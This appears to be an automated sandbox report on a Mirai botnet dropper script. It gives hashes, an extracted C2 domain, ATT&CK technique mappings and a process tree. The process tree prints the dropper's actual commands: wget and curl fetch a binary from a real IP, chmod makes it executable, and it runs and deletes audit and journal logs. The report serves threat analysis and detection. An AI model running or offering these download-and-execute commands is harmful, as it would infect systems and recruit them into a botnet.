mirai | b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96

Analysis

max time kernel
42s
max time network
154s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260126-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
10/05/2026, 12:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh.sh
Size 1KB
Sample260510-p4vkmsg131
SHA256 b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96
MD5 c5848645d69c2180bdb59c45e87cf5f1
SHA1 e6279666995951839971e13365e3d2d6c602c6a2
SHA512 7db9e56ba4db09673225ee77764d9ca17a3a9e725ce286685db683fea0a03c0ea344e42127f6714cc306ca9730ccae1f776c3a782306cab7edb3d3057be64bbe
TLSH
T1274113D916AD42792FEB5D27F2AD9449B18896A724C06E6E5DDC3CB4824CF042449F83
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

haven.mephedrone.nl

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (130649) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1537	chmod

Deletes Audit logs 1 TTPs 1 IoCs

Deletes logs related to the Linux Audit framework.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/audit/audit.log	wget

Deletes journal logs 1 TTPs 1 IoCs

Deletes systemd journal logs. Likely to evade detection.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/journal/11c67417355f45d397f6be11f62e85a6/system.journal	wget

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/wget	1538	sh.sh

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/sbin/init	1538	wget
Changes the process name, possibly in an attempt to hide itself	init	1539	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/debug.x86_64	wget
File opened for modification	/tmp/debug.x86_64	curl
File opened for modification	/tmp/wget	sh.sh

/tmp/sh.sh
/tmp/sh.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1529
- /usr/bin/wget
  wget http://216.9.225.23/debug.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1530
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/cat
  cat debug.x86_64
  2⤵
  PID:1536
- /bin/chmod
  chmod +x config-err-I4dRMX debug.x86_64 netplan_4skcsetr sh.sh snap-private-tmp ssh-aYviPlferMvA systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-bolt.service-augnVC systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-colord.service-or7tlI systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-ModemManager.service-MfLrXY systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-systemd-resolved.service-qTsBVb systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-systemd-timedated.service-UGVCy6 wget
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/wget
  ./wget
  2⤵
  - Deletes Audit logs
  - Deletes journal logs
  - Changes its process name
  PID:1538

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

debug.x86_64

Path /tmp/debug.x86_64
Size 143KB
SHA256 2903832e570e9ae1d8d762008426e018af150d90465733bcc5c4b0c683cca249
MD5 7acdfe8c45cfdb19b7bb4b625182e56b
SHA1 b351894191ea69b0047cb0bd452132719c771977
SHA512 c3a5cd9104ce30c524924569764f4f941c69863e5be681d6a98adb220e3e8e1609bae1156d0093826a42a256ec71fcacc0dbe6cece117ccc2f79c8b507f8f9b0
SSDEEP 1536:+l7y+RLBIc6Qw/vvtIXOeRzZ6QJYFjq4/uXKkrQJ86Ydh4uIM2aqF33/3fJGel9h:/+lB/GmnR4WoJ8Nh4uUaqFvf7lwR3J
TLSH
T1BCE36B523AC180FDC549D1B81AEFA136D9A9F0BD2368764F37C0EE261C4DD604E79B92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads